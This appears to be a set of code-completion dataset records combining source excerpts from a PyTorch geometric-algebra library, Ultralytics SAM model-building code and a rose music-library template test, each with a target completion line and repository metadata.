return x.sum(dim=-2) def __getattr__(self, name: str) -> torch.Tensor: """Returns basis blade tensors if name was a basis.""" if name.startswith("e") and (name[1:] == "" or int(name[1:]) >= 0): return self.e(name[1:]) raise AttributeError def dual(self, tensor: torch.Tensor) -> torch.Tensor: """Returns the dual of the geometric algebra tensor. Args: tensor: Geometric algebra tensor to return dual for Returns: Dual of the geometric algebra tensor """ tensor = torch.tensor(tensor, dtype=torch.float32) # return self.dual_blade_signs * tf.gather(tensor, self.dual_blade_indices, axis=-1) return self.dual_blade_signs * tensor[...,self.dual_blade_indices] def grade_automorphism(self, tensor: torch.Tensor) -> torch.Tensor: """Returns the geometric algebra tensor with odd grades negated. See https://en.wikipedia.org/wiki/Paravector#Grade_automorphism. Args: tensor: Geometric algebra tensor to return grade automorphism for Returns: Geometric algebra tensor with odd grades negated """ tensor = tensor.to(dtype=torch.float32) return mv_grade_automorphism(tensor, self.blade_degrees) def reversion(self, tensor: torch.Tensor) -> torch.Tensor: """Returns the grade-reversed geometric algebra tensor. See https://en.wikipedia.org/wiki/Paravector#Reversion_conjugation. Args: tensor: Geometric algebra tensor to return grade-reversion for Returns: Grade-reversed geometric algebra tensor """ tensor = tensor.to(dtype=torch.float32) return mv_reversion(tensor, self.blade_degrees) def conjugation(self, tensor: torch.Tensor) -> torch.Tensor: """Combines reversion and grade automorphism. See https://en.wikipedia.org/wiki/Paravector#Clifford_conjugation. Args: tensor: Geometric algebra tensor to return conjugate for Returns: Geometric algebra tensor after `reversion()` and `grade_automorphism()` """ tensor = tensor.to(dtype=torch.float32) return self.grade_automorphism(self.reversion(tensor)) def simple_inverse(self, a: torch.Tensor) -> torch.Tensor: """Returns the inverted geometric algebra tensor `X^-1` such that `X * X^-1 = 1`. Only works for elements that square to scalars. Faster than the general inverse. Args: a: Geometric algebra tensor to return inverse for Returns: inverted geometric algebra tensor """ a = a.to(dtype=torch.float32) rev_a = self.reversion(a) divisor = self.geom_prod(a, rev_a) # print(f"divisor={divisor}") # print(f"self.is_pure_kind(divisor, BladeKind.SCALAR)={self.is_pure_kind(divisor, BladeKind.SCALAR)}") if not self.is_pure_kind(divisor, BladeKind.SCALAR): raise Exception( "Can't invert multi-vector (inversion divisor V ~V not scalar: %s)." % divisor) # Divide by scalar part return rev_a / divisor[..., :1] def reg_prod(self, a: torch.Tensor, b: torch.Tensor) -> torch.Tensor: """Returns the regressive product of two geometric algebra tensors. Args: a: Geometric algebra tensor on the left hand side of the regressive product b: Geometric algebra tensor on the right hand side of the regressive product Returns: regressive product of a and b """ a = torch.tensor(a, dtype=torch.float32) b = torch.tensor(b, dtype=torch.float32) return self.dual(self.ext_prod(self.dual(a), self.dual(b))) def ext_prod(self, a: torch.Tensor, b: torch.Tensor) -> torch.Tensor: """Returns the exterior product of two geometric algebra tensors. Args: a: Geometric algebra tensor on the left hand side of the exterior product b: Geometric algebra tensor on the right hand side of the exterior product Returns: exterior product of a and b """ a = a.to(dtype=torch.float32) b = b.to(dtype=torch.float32)
"""Provides classes and operations for performing geometric algebra with TensorFlow. The `GeometricAlgebra` class is used to construct the algebra given a metric. It exposes methods for operating on `torch.Tensor` instances where their last axis is interpreted as blades of the algebra. """ # import einops class GeometricAlgebra: """Class used for performing geometric algebra operations on `torch.Tensor` instances. Exposes methods for operating on `torch.Tensor` instances where their last axis is interpreted as blades of the algebra. Holds the metric and other quantities derived from it. """ def __init__(self, metric: List[float]): """Creates a GeometricAlgebra object given a metric. The algebra will have as many basis vectors as there are elements in the metric. Args: metric: Metric as a list. Specifies what basis vectors square to """ self._metric = torch.tensor(metric, dtype=torch.float32) self._num_bases = len(metric) self._bases = list(map(str, range(self._num_bases))) self._blades, self._blade_degrees = blades_from_bases(self._bases) self._blade_degrees = torch.tensor(self._blade_degrees) self._num_blades = len(self._blades) self._max_degree = self._blade_degrees.max() # [Blades, Blades, Blades] _list = get_cayley_tensor(self.metric, self._bases, self._blades) # print(_list) if type(_list) in [list,tuple]: _list = np.array(_list) self._cayley, self._cayley_inner, self._cayley_outer = torch.tensor( _list, dtype=torch.float32 ) self._blade_mvs = torch.eye(self._num_blades) self._basis_mvs = self._blade_mvs[1:1+self._num_bases] # Find the dual by looking at the anti-diagonal in the Cayley tensor. self._dual_blade_indices = [] self._dual_blade_signs = [] for blade_index in range(self._num_blades): dual_index = self.num_blades - blade_index - 1 anti_diag = self._cayley[blade_index, dual_index] # dual_sign = tf.gather(anti_diag, tf.where( # anti_diag != 0.0)[..., 0])[..., 0] dual_sign = anti_diag[torch.where(anti_diag != 0.0)] self._dual_blade_indices.append(dual_index) self._dual_blade_signs.append(dual_sign) self._dual_blade_indices = torch.tensor( self._dual_blade_indices, dtype=torch.int64) self._dual_blade_signs = torch.tensor( self._dual_blade_signs, dtype=torch.float32) def print(self, *args, **kwargs): """Same as the default `print` function but formats `torch.Tensor` instances that have as many elements on their last axis as the algebra has blades using `mv_repr()`. """ def _is_mv(arg): return isinstance(arg, torch.Tensor) and len(arg.shape) > 0 and arg.shape[-1] == self.num_blades new_args = [self.mv_repr(arg) if _is_mv(arg) else arg for arg in args] print(*new_args, **kwargs) @property def metric(self) -> torch.Tensor: """Metric list which contains the number that each basis vector in the algebra squares to (ie. the diagonal of the metric tensor). """ return self._metric @property def cayley(self) -> torch.Tensor: """`MxMxM` tensor where `M` is the number of basis blades in the algebra. Used for calculating the geometric product: `a_i, b_j, cayley_ijk -> c_k` """ return self._cayley @property def cayley_inner(self) -> torch.Tensor: """Analagous to cayley but for inner product.""" return self._cayley_inner @property def cayley_outer(self) -> torch.Tensor: """Analagous to cayley but for outer product.""" return self._cayley_outer @property def blades(self) -> List[str]: """List of all blade names. Blades are all possible independent combinations of basis vectors. Basis vectors are named starting from `"0"` and counting up. The scalar blade is the empty string `""`. Example - Bases: `["0", "1", "2"]` - Blades: `["", "0", "1", "2", "01", "02", "12", "012"]` """ return self._blades @property def blade_mvs(self) -> torch.Tensor: """List of all blade tensors in the algebra.""" return self._blade_mvs @property def dual_blade_indices(self) -> torch.Tensor: """Indices of the dual blades for each blade.""" return self._dual_blade_indices @property def dual_blade_signs(self) -> torch.Tensor: """Signs of the dual blades for each blade.""" return self._dual_blade_signs @property def num_blades(self) -> int: """Total number of blades in the algebra.""" return self._num_blades @property def blade_degrees(self) -> torch.Tensor: """List of blade-degree for each blade in the algebra.""" return self._blade_degrees @property def max_degree(self) -> int: """Highest blade degree in the algebra.""" return self._max_degree @property def basis_mvs(self) -> torch.Tensor: """List of basis vectors as torch.Tensor.""" return self._basis_mvs def get_kind_blade_indices(self, kind: BladeKind, invert: bool = False) -> torch.Tensor: """Find all indices of blades of a given kind in the algebra. Args: kind: kind of blade to give indices for invert: whether to return all blades not of the kind Returns: indices of blades of a given kind in the algebra """ return get_blade_of_kind_indices(self.blade_degrees, kind, self.max_degree, invert=invert) def get_blade_indices_of_degree(self, degree: int) -> torch.Tensor: """Find all indices of blades of the given degree. Args: degree: degree to return blades for Returns: indices of blades with the given degree in the algebra """ # return tf.gather(tf.range(self.num_blades), tf.where(self.blade_degrees == degree)[..., 0]) return torch.range(self.num_blades)[torch.where(self.blade_degrees == degree)[..., 0]] def is_pure(self, tensor: torch.Tensor, blade_indices: torch.Tensor) -> bool: """Returns whether the given tensor is purely of the given blades and has no non-zero values for blades not in the given blades. Args: tensor: tensor to check purity for blade_indices: blade indices to check purity for Returns: Whether the tensor is purely of the given blades and has no non-zero values for blades not in the given blades """ # tensor = torch.tensor(tensor, dtype=torch.float32) tensor = tensor.to(dtype=torch.float32) if not type(blade_indices) in [torch.Tensor]: blade_indices = torch.tensor(blade_indices) blade_indices = blade_indices.to(dtype=torch.int64) # blade_indices = torch.tensor( # blade_indices, dtype=torch.int64) inverted_blade_indices = invert_blade_indices( self.num_blades, blade_indices) # return tf.reduce_all(tf.gather( # tensor, # inverted_blade_indices, # axis=-1 # ) == 0) return (tensor[inverted_blade_indices]==0).sum(dim=-1) def is_pure_kind(self, tensor: torch.Tensor, kind: BladeKind) -> bool: """Returns whether the given tensor is purely of a given kind and has no non-zero values for blades not of the kind. Args: tensor: tensor to check purity for kind: kind of blade to check purity for Returns: Whether the tensor is purely of a given kind and has no non-zero values for blades not of the kind """ # tensor = torch.tensor(tensor, dtype=torch.float32) tensor = tensor.to(dtype=torch.float32) inverted_kind_indices = self.get_kind_blade_indices(kind, invert=True) # print(f"tensor={tensor}") # print(f"kind={kind}") # print(f"inverted_kind_indices={inverted_kind_indices.T}") # print(f"inverted_kind_indices.shape={inverted_kind_indices.shape}") # print(f"tensor[inverted_kind_indices]={tensor[inverted_kind_indices].T}") # print(f"tensor[inverted_kind_indices].shape={tensor[inverted_kind_indices].shape}") # print(f"tensor[inverted_kind_indices]==0={tensor[inverted_kind_indices].T==0}") # return tf.reduce_all(tf.gather( # tensor, # inverted_kind_indices, # axis=-1 # ) == 0) return (tensor[inverted_kind_indices]==0).sum(dim=-1) # def from_tensor(self, tensor: torch.Tensor, blade_indices: torch.Tensor) -> torch.Tensor: # """Creates a geometric algebra torch.Tensor from a torch.Tensor and blade # indices. The blade indices have to align with the last axis of the # tensor. # Args: # tensor: torch.Tensor to take as values for the geometric algebra tensor # blade_indices: Blade indices corresponding to the tensor. Can # be obtained from blade names eg. using get_kind_blade_indices() # or as indices from the blades list property. # Returns: # Geometric algebra torch.Tensor from tensor and blade indices # """ # blade_indices = torch.tensor(blade_indices, dtype=torch.int64).to(dtype=torch.int64) # tensor = torch.tensor(tensor, dtype=torch.float32) # # print(f"blade_indices={blade_indices}") # # print(f"tensor={tensor}") # _shape = tensor.shape # is_scalar = False # if len(_shape)==1 : # _shape_final = [1]+ [self.num_blades] # is_scalar = True # else: # _shape_final = list(_shape[:-1]) + [self.num_blades] # b = torch.zeros(_shape_final) # # i = blade_indices.view([-1,1]) # # v = tensor.flatten().view([-1,1]) # i = blade_indices.nonzero().flatten() # v = tensor.flatten().unsqueeze(1) # b = b.view([-1,self.num_blades]) # # b[:,i] = v # try: # b[:,i] = v # except: # print(f"_shape={_shape},_shape_final={_shape_final}") # print(f"i.shape={i.shape},v.shape={v.shape},b.shape={b.shape}") # print(f"i={i},v={v},b={b}") # raise # # raise "whatever" # b = b.reshape(_shape_final) # # _shape_tmp = list(v.shape) + [self.num_blades] # # print(f"i,v,_shape_tmp,_shape_final={i},{v},{_shape_tmp},{_shape_final},i.shape={i.shape}") # # b = torch.sparse_coo_tensor(i, v, size=_shape_tmp) # # print(f"b={b}") # # b = torch.sparse_coo_tensor(i, v, size=_shape_tmp).to_dense() # # b = b.reshape(_shape_final) # if is_scalar: # b=b.unsqueeze(0) # return b # # # Put last axis on first axis so scatter_nd becomes easier. # # # Later undo the transposition again. # # # t = tf.concat([[tensor.shape.ndims - 1], # # # tf.range(0, tensor.shape.ndims - 1)], axis=0) # # # t_inv = tf.concat([tf.range(1, tensor.shape.ndims), [0]], axis=0) # # # tensor = tf.transpose(tensor, t) # # # shape = tf.concat([ # # # torch.tensor([self.num_blades], dtype=torch.int64), # # # tf.shape(tensor, torch.int64)[1:] # # # ], axis=0) # # # tensor = tf.scatter_nd( # # # tf.expand_dims(blade_indices, axis=-1), # # # tensor, # # # shape # # # ) # # # return tf.transpose(tensor, t_inv) # # # t = torch.concat([torch.tensor([len(tensor.shape) - 1]), torch.range(0, len(tensor.shape)- 1)], axis=0) # # # t_inv = torch.concat([torch.range(1, len(tensor.shape)), torch.tensor([0])], axis=0) # # t = [len(tensor.shape) - 1] + list(range(0, len(tensor.shape)- 1)) # # t_inv = list(range(1, len(tensor.shape))) + [0] # # tensor = torch.permute(tensor, t) # # a= torch.tensor([self.num_blades], dtype=torch.int64) # # b = torch.tensor(tensor, dtype=torch.int64)[1:] # # print("a,b:", a,b, tensor) # # shape = torch.concat([ # # torch.tensor([self.num_blades], dtype=torch.int64), # # torch.tensor(tensor, dtype=torch.int64)[1:] # # ], axis=0) # # # tensor = torch.scatter_nd( # # # blade_indices.unsqueeze(-1), # # # tensor, # # # shape # # # ) # # a = torch.zeros(shape) # # a[blade_indices] = tensor # # tensor = a # # return torch.permute(tensor, t_inv) def from_tensor(self, tensor: torch.Tensor, blade_indices: torch.Tensor) -> torch.Tensor: """Creates a geometric algebra torch.Tensor from a torch.Tensor and blade indices. The blade indices have to align with the last axis of the tensor. Args: tensor: torch.Tensor to take as values for the geometric algebra tensor blade_indices: Blade indices corresponding to the tensor. Can be obtained from blade names eg. using get_kind_blade_indices() or as indices from the blades list property. Returns: Geometric algebra torch.Tensor from tensor and blade indices """ # blade_indices = torch.tensor(blade_indices, dtype=torch.int64).to(dtype=torch.int64) # tensor = torch.tensor(tensor, dtype=torch.float32) blade_indices = blade_indices.to(dtype=torch.int64) tensor = tensor.to(dtype=torch.float32) # print(f"blade_indices={blade_indices}") # print(f"tensor={tensor}") _shape = tensor.shape is_scalar = False if len(_shape)==1 : _shape_final = [1]+ [self.num_blades] is_scalar = True else: _shape_final = list(_shape[:-1]) + [self.num_blades] b = torch.zeros(_shape_final) if False: print(f"blade_indices.shape={blade_indices.shape}") print(f"tensor.shape={tensor.shape}") print(f"_shape_final={_shape_final}") # i = blade_indices.view([-1,1]) # v = tensor.flatten().view([-1,1]) # i = blade_indices.nonzero().flatten() i = blade_indices.flatten() # v = tensor.flatten().unsqueeze(1) v = tensor.view([-1,_shape[-1]]) b = b.view([-1,self.num_blades]) if False: print(f"_shape={_shape},_shape_final={_shape_final}") print(f"i.shape={i.shape},v.shape={v.shape},b.shape={b.shape}") print(f"i={i},v={v},b={b}") # b[:,i] = v try: b[:,i] = v except: print(f"_shape={_shape},_shape_final={_shape_final}") print(f"i.shape={i.shape},v.shape={v.shape},b.shape={b.shape}") print(f"i={i},v={v},b={b}") raise b = b.reshape(_shape_final) if False: print(f"b.shape={b.shape}") if is_scalar: # b=b.unsqueeze(0) b=b.squeeze(0) return b # # i = blade_indices.view([-1,1]) # # v = tensor.flatten().view([-1,1]) # i = blade_indices.nonzero().flatten() # v = tensor.flatten().unsqueeze(1) # b = b.view([-1,self.num_blades]) # # b[:,i] = v # try: # b[:,i] = v # except: # print(f"_shape={_shape},_shape_final={_shape_final}") # print(f"i.shape={i.shape},v.shape={v.shape},b.shape={b.shape}") # print(f"i={i},v={v},b={b}") # raise # b = b.reshape(_shape_final) # if is_scalar: # b=b.unsqueeze(0) # return b def from_tensor_with_kind(self, tensor: torch.Tensor, kind: BladeKind) -> torch.Tensor: """Creates a geometric algebra torch.Tensor from a torch.Tensor and a kind. The kind's blade indices have to align with the last axis of the tensor. Args: tensor: torch.Tensor to take as values for the geometric algebra tensor kind: Kind corresponding to the tensor Returns: Geometric algebra torch.Tensor from tensor and kind """ # Put last axis on first axis so scatter_nd becomes easier. # Later undo the transposition again. # tensor = torch.tensor(tensor, dtype=torch.float32) tensor = tensor.to(dtype=torch.float32) kind_indices = self.get_kind_blade_indices(kind) if False: print(f"tensor={tensor}") print(f"kind_indices={kind_indices}") return self.from_tensor(tensor, kind_indices) def from_scalar(self, scalar: numbers.Number) -> torch.Tensor: """Creates a geometric algebra torch.Tensor with scalar elements. Args: scalar: Elements to be used as scalars Returns: Geometric algebra torch.Tensor from scalars """ # return self.from_tensor_with_kind(tf.expand_dims(scalar, axis=-1), BladeKind.SCALAR) # print("torch.tensor([scalar]).unsqueeze(-1).shape",torch.tensor([scalar]).unsqueeze(-1).shape) return self.from_tensor_with_kind(torch.tensor([scalar]).unsqueeze(-1), BladeKind.SCALAR).squeeze(0) def e(self, *blades: List[str]) -> torch.Tensor: """Returns a geometric algebra torch.Tensor with the given blades set to 1. Args: blades: list of blade names, can be unnormalized Returns: torch.Tensor with blades set to 1 """ blade_signs, blade_indices = get_blade_indices_from_names( blades, self.blades) assert type(blade_indices) in [torch.Tensor], "should be a tensor" if False: blade_indices = torch.tensor(blade_indices) # # Don't allow duplicate indices # tf.Assert( # blade_indices.shape[0] == tf.unique(blade_indices)[0].shape[0], # [blades] # ) # x = ( # tf.expand_dims(blade_signs, axis=-1) * # tf.gather(self.blade_mvs, blade_indices) # ) # # a, b -> b # return tf.reduce_sum(x, axis=-2) # print(f"blade_indices={blade_indices}") # print(f"torch.unique(blade_indices)={torch.unique(blade_indices)}") # print(f"torch.unique(blade_indices)[0]={torch.unique(blade_indices)[0]}") # Don't allow duplicate indices # assert( # blade_indices.shape[0] == torch.unique(blade_indices).shape[0], # [blades] # ) assert blade_indices.shape[0] == torch.unique(blade_indices).shape[0], "indexes not unique" x = blade_signs.unsqueeze(-1) * self.blade_mvs[blade_indices] # a, b -> b return x.sum(dim=-2) def __getattr__(self, name: str) -> torch.Tensor: """Returns basis blade tensors if name was a basis.""" if name.startswith("e") and (name[1:] == "" or int(name[1:]) >= 0): return self.e(name[1:]) raise AttributeError def dual(self, tensor: torch.Tensor) -> torch.Tensor: """Returns the dual of the geometric algebra tensor. Args: tensor: Geometric algebra tensor to return dual for Returns: Dual of the geometric algebra tensor """ tensor = torch.tensor(tensor, dtype=torch.float32) # return self.dual_blade_signs * tf.gather(tensor, self.dual_blade_indices, axis=-1) return self.dual_blade_signs * tensor[...,self.dual_blade_indices] def grade_automorphism(self, tensor: torch.Tensor) -> torch.Tensor: """Returns the geometric algebra tensor with odd grades negated. See https://en.wikipedia.org/wiki/Paravector#Grade_automorphism. Args: tensor: Geometric algebra tensor to return grade automorphism for Returns: Geometric algebra tensor with odd grades negated """ tensor = tensor.to(dtype=torch.float32) return mv_grade_automorphism(tensor, self.blade_degrees) def reversion(self, tensor: torch.Tensor) -> torch.Tensor: """Returns the grade-reversed geometric algebra tensor. See https://en.wikipedia.org/wiki/Paravector#Reversion_conjugation. Args: tensor: Geometric algebra tensor to return grade-reversion for Returns: Grade-reversed geometric algebra tensor """ tensor = tensor.to(dtype=torch.float32) return mv_reversion(tensor, self.blade_degrees) def conjugation(self, tensor: torch.Tensor) -> torch.Tensor: """Combines reversion and grade automorphism. See https://en.wikipedia.org/wiki/Paravector#Clifford_conjugation. Args: tensor: Geometric algebra tensor to return conjugate for Returns: Geometric algebra tensor after `reversion()` and `grade_automorphism()` """ tensor = tensor.to(dtype=torch.float32) return self.grade_automorphism(self.reversion(tensor)) def simple_inverse(self, a: torch.Tensor) -> torch.Tensor: """Returns the inverted geometric algebra tensor `X^-1` such that `X * X^-1 = 1`. Only works for elements that square to scalars. Faster than the general inverse. Args: a: Geometric algebra tensor to return inverse for Returns: inverted geometric algebra tensor """ a = a.to(dtype=torch.float32) rev_a = self.reversion(a) divisor = self.geom_prod(a, rev_a) # print(f"divisor={divisor}") # print(f"self.is_pure_kind(divisor, BladeKind.SCALAR)={self.is_pure_kind(divisor, BladeKind.SCALAR)}") if not self.is_pure_kind(divisor, BladeKind.SCALAR): raise Exception( "Can't invert multi-vector (inversion divisor V ~V not scalar: %s)." % divisor) # Divide by scalar part return rev_a / divisor[..., :1] def reg_prod(self, a: torch.Tensor, b: torch.Tensor) -> torch.Tensor: """Returns the regressive product of two geometric algebra tensors. Args: a: Geometric algebra tensor on the left hand side of the regressive product b: Geometric algebra tensor on the right hand side of the regressive product Returns: regressive product of a and b """ a = torch.tensor(a, dtype=torch.float32) b = torch.tensor(b, dtype=torch.float32) return self.dual(self.ext_prod(self.dual(a), self.dual(b))) def ext_prod(self, a: torch.Tensor, b: torch.Tensor) -> torch.Tensor: """Returns the exterior product of two geometric algebra tensors. Args: a: Geometric algebra tensor on the left hand side of the exterior product b: Geometric algebra tensor on the right hand side of the exterior product Returns: exterior product of a and b """ a = a.to(dtype=torch.float32) b = b.to(dtype=torch.float32)
return mv_multiply(a, b, self._cayley_outer)
7
2023-10-07 13:34:07+00:00
12k
mytk2012/YOLOV8_INT8_TRT
ultralytics/models/sam/build.py
[ { "identifier": "attempt_download_asset", "path": "ultralytics/utils/downloads.py", "snippet": "def attempt_download_asset(file, repo='ultralytics/assets', release='v0.0.0'):\n \"\"\"Attempt file download from GitHub release assets if not found locally. release = 'latest', 'v6.2', etc.\"\"\"\n fro...
from functools import partial from ultralytics.utils.downloads import attempt_download_asset from .modules.decoders import MaskDecoder from .modules.encoders import ImageEncoderViT, PromptEncoder from .modules.sam import Sam from .modules.tiny_encoder import TinyViT from .modules.transformer import TwoWayTransformer import torch
7,868
# Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. def build_sam_vit_h(checkpoint=None): """Build and return a Segment Anything Model (SAM) h-size model.""" return _build_sam( encoder_embed_dim=1280, encoder_depth=32, encoder_num_heads=16, encoder_global_attn_indexes=[7, 15, 23, 31], checkpoint=checkpoint, ) def build_sam_vit_l(checkpoint=None): """Build and return a Segment Anything Model (SAM) l-size model.""" return _build_sam( encoder_embed_dim=1024, encoder_depth=24, encoder_num_heads=16, encoder_global_attn_indexes=[5, 11, 17, 23], checkpoint=checkpoint, ) def build_sam_vit_b(checkpoint=None): """Build and return a Segment Anything Model (SAM) b-size model.""" return _build_sam( encoder_embed_dim=768, encoder_depth=12, encoder_num_heads=12, encoder_global_attn_indexes=[2, 5, 8, 11], checkpoint=checkpoint, ) def build_mobile_sam(checkpoint=None): """Build and return Mobile Segment Anything Model (Mobile-SAM).""" return _build_sam( encoder_embed_dim=[64, 128, 160, 320], encoder_depth=[2, 2, 6, 2], encoder_num_heads=[2, 4, 5, 10], encoder_global_attn_indexes=None, mobile_sam=True, checkpoint=checkpoint, ) def _build_sam(encoder_embed_dim, encoder_depth, encoder_num_heads, encoder_global_attn_indexes, checkpoint=None, mobile_sam=False): """Builds the selected SAM model architecture.""" prompt_embed_dim = 256 image_size = 1024 vit_patch_size = 16 image_embedding_size = image_size // vit_patch_size image_encoder = (TinyViT( img_size=1024, in_chans=3, num_classes=1000, embed_dims=encoder_embed_dim, depths=encoder_depth, num_heads=encoder_num_heads, window_sizes=[7, 7, 14, 7], mlp_ratio=4.0, drop_rate=0.0, drop_path_rate=0.0, use_checkpoint=False, mbconv_expand_ratio=4.0, local_conv_size=3, layer_lr_decay=0.8, ) if mobile_sam else ImageEncoderViT( depth=encoder_depth, embed_dim=encoder_embed_dim, img_size=image_size, mlp_ratio=4, norm_layer=partial(torch.nn.LayerNorm, eps=1e-6), num_heads=encoder_num_heads, patch_size=vit_patch_size, qkv_bias=True, use_rel_pos=True, global_attn_indexes=encoder_global_attn_indexes, window_size=14, out_chans=prompt_embed_dim, )) sam = Sam( image_encoder=image_encoder, prompt_encoder=PromptEncoder( embed_dim=prompt_embed_dim, image_embedding_size=(image_embedding_size, image_embedding_size), input_image_size=(image_size, image_size), mask_in_chans=16, ), mask_decoder=MaskDecoder( num_multimask_outputs=3, transformer=TwoWayTransformer( depth=2, embedding_dim=prompt_embed_dim, mlp_dim=2048, num_heads=8, ), transformer_dim=prompt_embed_dim, iou_head_depth=3, iou_head_hidden_dim=256, ), pixel_mean=[123.675, 116.28, 103.53], pixel_std=[58.395, 57.12, 57.375], ) if checkpoint is not None:
# Ultralytics YOLO 🚀, AGPL-3.0 license # Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. def build_sam_vit_h(checkpoint=None): """Build and return a Segment Anything Model (SAM) h-size model.""" return _build_sam( encoder_embed_dim=1280, encoder_depth=32, encoder_num_heads=16, encoder_global_attn_indexes=[7, 15, 23, 31], checkpoint=checkpoint, ) def build_sam_vit_l(checkpoint=None): """Build and return a Segment Anything Model (SAM) l-size model.""" return _build_sam( encoder_embed_dim=1024, encoder_depth=24, encoder_num_heads=16, encoder_global_attn_indexes=[5, 11, 17, 23], checkpoint=checkpoint, ) def build_sam_vit_b(checkpoint=None): """Build and return a Segment Anything Model (SAM) b-size model.""" return _build_sam( encoder_embed_dim=768, encoder_depth=12, encoder_num_heads=12, encoder_global_attn_indexes=[2, 5, 8, 11], checkpoint=checkpoint, ) def build_mobile_sam(checkpoint=None): """Build and return Mobile Segment Anything Model (Mobile-SAM).""" return _build_sam( encoder_embed_dim=[64, 128, 160, 320], encoder_depth=[2, 2, 6, 2], encoder_num_heads=[2, 4, 5, 10], encoder_global_attn_indexes=None, mobile_sam=True, checkpoint=checkpoint, ) def _build_sam(encoder_embed_dim, encoder_depth, encoder_num_heads, encoder_global_attn_indexes, checkpoint=None, mobile_sam=False): """Builds the selected SAM model architecture.""" prompt_embed_dim = 256 image_size = 1024 vit_patch_size = 16 image_embedding_size = image_size // vit_patch_size image_encoder = (TinyViT( img_size=1024, in_chans=3, num_classes=1000, embed_dims=encoder_embed_dim, depths=encoder_depth, num_heads=encoder_num_heads, window_sizes=[7, 7, 14, 7], mlp_ratio=4.0, drop_rate=0.0, drop_path_rate=0.0, use_checkpoint=False, mbconv_expand_ratio=4.0, local_conv_size=3, layer_lr_decay=0.8, ) if mobile_sam else ImageEncoderViT( depth=encoder_depth, embed_dim=encoder_embed_dim, img_size=image_size, mlp_ratio=4, norm_layer=partial(torch.nn.LayerNorm, eps=1e-6), num_heads=encoder_num_heads, patch_size=vit_patch_size, qkv_bias=True, use_rel_pos=True, global_attn_indexes=encoder_global_attn_indexes, window_size=14, out_chans=prompt_embed_dim, )) sam = Sam( image_encoder=image_encoder, prompt_encoder=PromptEncoder( embed_dim=prompt_embed_dim, image_embedding_size=(image_embedding_size, image_embedding_size), input_image_size=(image_size, image_size), mask_in_chans=16, ), mask_decoder=MaskDecoder( num_multimask_outputs=3, transformer=TwoWayTransformer( depth=2, embedding_dim=prompt_embed_dim, mlp_dim=2048, num_heads=8, ), transformer_dim=prompt_embed_dim, iou_head_depth=3, iou_head_hidden_dim=256, ), pixel_mean=[123.675, 116.28, 103.53], pixel_std=[58.395, 57.12, 57.375], ) if checkpoint is not None:
checkpoint = attempt_download_asset(checkpoint)
0
2023-10-14 09:14:04+00:00
12k
azuline/rose
rose/templates_test.py
[ { "identifier": "CachedRelease", "path": "rose/cache.py", "snippet": "class CachedRelease:\n id: str\n source_path: Path\n cover_image_path: Path | None\n added_at: str # ISO8601 timestamp\n datafile_mtime: str\n albumtitle: str\n releasetype: str\n year: int | None\n new: bo...
from copy import deepcopy from pathlib import Path from click.testing import CliRunner from rose.cache import CachedRelease, CachedTrack from rose.common import Artist, ArtistMapping from rose.config import Config from rose.templates import ( PathTemplateConfig, eval_release_template, eval_track_template, preview_path_templates, ) import click
7,493
EMPTY_CACHED_RELEASE = CachedRelease( id="", source_path=Path(), cover_image_path=None, added_at="0000-01-01T00:00:00Z", datafile_mtime="999", albumtitle="", releasetype="unknown", year=None, new=False, disctotal=1, genres=[], labels=[], albumartists=ArtistMapping(), metahash="0", ) EMPTY_CACHED_TRACK = CachedTrack( id="", source_path=Path("hi.m4a"), source_mtime="", tracktitle="", tracknumber="", tracktotal=1, discnumber="", disctotal=1, duration_seconds=0, trackartists=ArtistMapping(), metahash="0", release=EMPTY_CACHED_RELEASE, ) def test_default_templates() -> None:
EMPTY_CACHED_RELEASE = CachedRelease( id="", source_path=Path(), cover_image_path=None, added_at="0000-01-01T00:00:00Z", datafile_mtime="999", albumtitle="", releasetype="unknown", year=None, new=False, disctotal=1, genres=[], labels=[], albumartists=ArtistMapping(), metahash="0", ) EMPTY_CACHED_TRACK = CachedTrack( id="", source_path=Path("hi.m4a"), source_mtime="", tracktitle="", tracknumber="", tracktotal=1, discnumber="", disctotal=1, duration_seconds=0, trackartists=ArtistMapping(), metahash="0", release=EMPTY_CACHED_RELEASE, ) def test_default_templates() -> None:
templates = PathTemplateConfig.with_defaults()
5
2023-10-09 14:42:23+00:00
12k